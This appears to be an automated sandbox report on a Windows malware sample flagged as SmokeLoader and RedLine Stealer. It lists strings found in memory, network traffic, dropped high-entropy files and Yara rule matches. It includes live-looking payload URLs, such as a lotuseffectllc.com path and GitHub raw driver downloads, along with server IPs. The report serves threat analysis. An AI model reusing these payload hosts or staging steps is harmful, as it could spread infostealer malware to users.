Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:46:03 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Source: A723.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: explorer.exe, 00000001.00000000.1714985098.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: A723.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: A723.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: A723.exe.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Bookings.7.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Bookings.7.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Bookings.7.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Bookings.7.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: A723.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: explorer.exe, 00000001.00000000.1714985098.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: A723.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: A723.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: A723.exe.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: explorer.exe, 00000001.00000000.1714985098.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: A723.exe.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	String found in binary or memory: http://james.newtonking.com/projects/json
Source: A723.exe, 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmp, A723.exe, 00000007.00000000.3669719251.0000000000409000.00000002.00000001.01000000.00000006.sdmp, C3F.exe, 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmp, C3F.exe, 0000000E.00000000.4002122911.0000000000408000.00000002.00000001.01000000.0000000B.sdmp, A723.exe.1.dr, C3F.exe.1.dr, 77D2.exe.1.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000001.00000000.1714985098.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, A723.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: A723.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: A723.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: A723.exe.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: Bookings.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Bookings.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Bookings.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: explorer.exe, 00000001.00000000.1714596622.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1714204674.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1716009180.0000000009B60000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Bookings.7.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Bookings.7.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Bookings.7.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: A723.exe.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: explorer.exe, 00000001.00000000.1717647686.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1713516731.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1717647686.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1712334658.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712812085.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1714985098.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1714985098.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1714985098.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/WebDriver.dll
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/chromedriver.exe
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://github.com/DFfe9ewf/test3/raw/refs/heads/main/msedgedriver.exe
Source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.0000000004095000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hlXIY.img
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAKSoFp.img
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAXaopi.img
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBqlLky.img
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lotuseffectllc.com
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp4
Source: 3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	String found in binary or memory: https://lotuseffectllc.com/plugins/panel/uploads/Mwczjtflz.mp41PbOVxtHXhP2g/7AFwH2Lkw==
Source: explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com_
Source: explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://simpleflying.com/how-do-you-become-an-air-traffic-controller/
Source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: 3E6C.exe, 0000000C.00000002.3947321786.0000000003027000.00000004.00000800.00020000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: 3E6C.exe, 0000000C.00000002.4118759240.0000000006D50000.00000004.08000000.00040000.00000000.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: RegAsm.exe, 00000015.00000002.4130432288.0000000002811000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354rCannot
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000001.00000000.1717647686.000000000C557000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/L
Source: explorer.exe, 00000001.00000000.1717647686.000000000C5E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: Bookings.7.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Bookings.7.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Bookings.7.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/biden-makes-decision-that-will-impact-more-than-1
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/13-states-that-don-t-tax-your-retirement-income/ar-A
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/topic/breast%20cancer%20awareness%20month?ocid=winp1headerevent
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar
Source: explorer.exe, 00000001.00000000.1713516731.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: 3E6C.exe.1.dr	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: 3E6C.exe, 0000000C.00000000.3893775169.0000000000A42000.00000002.00000001.01000000.00000008.sdmp, 3E6C.exe, 0000000C.00000002.4060110379.00000000040BD000.00000004.00000800.00020000.00000000.sdmp, Result.exe.12.dr, 3E6C.exe.1.dr	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/polite-habits-campers-dislike/
Source: explorer.exe, 00000001.00000000.1713516731.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443

Source: unknown	HTTPS traffic detected: 51.79.230.147:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.146.136:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.175.158:443 -> 192.168.2.4:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.118.248.184:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.175.158:443 -> 192.168.2.4:50077 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

7_2_004050F9

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

7_2_004044D1

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\77D2.exe entropy: 7.99861310711	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\A723.exe entropy: 7.9991819785	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Investigators entropy: 7.99981739938	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Realty entropy: 7.9997743227	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Showtimes entropy: 7.99968680094	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Handjob entropy: 7.99981747049	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Customise entropy: 7.99980537823	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Threesome entropy: 7.99980131446	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Sucking entropy: 7.99979584007	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Seconds entropy: 7.99976257101	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\A723.exe	File created: C:\Users\user\AppData\Local\Temp\Cumshot entropy: 7.99502682944	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Earrings entropy: 7.99693022839	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Modules entropy: 7.9983893278	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Spare entropy: 7.99725170222	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Delivering entropy: 7.99794689964	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bus entropy: 7.99789467605	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Project entropy: 7.99725814241	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Grey entropy: 7.99794477526	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Wisdom entropy: 7.99765480154	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
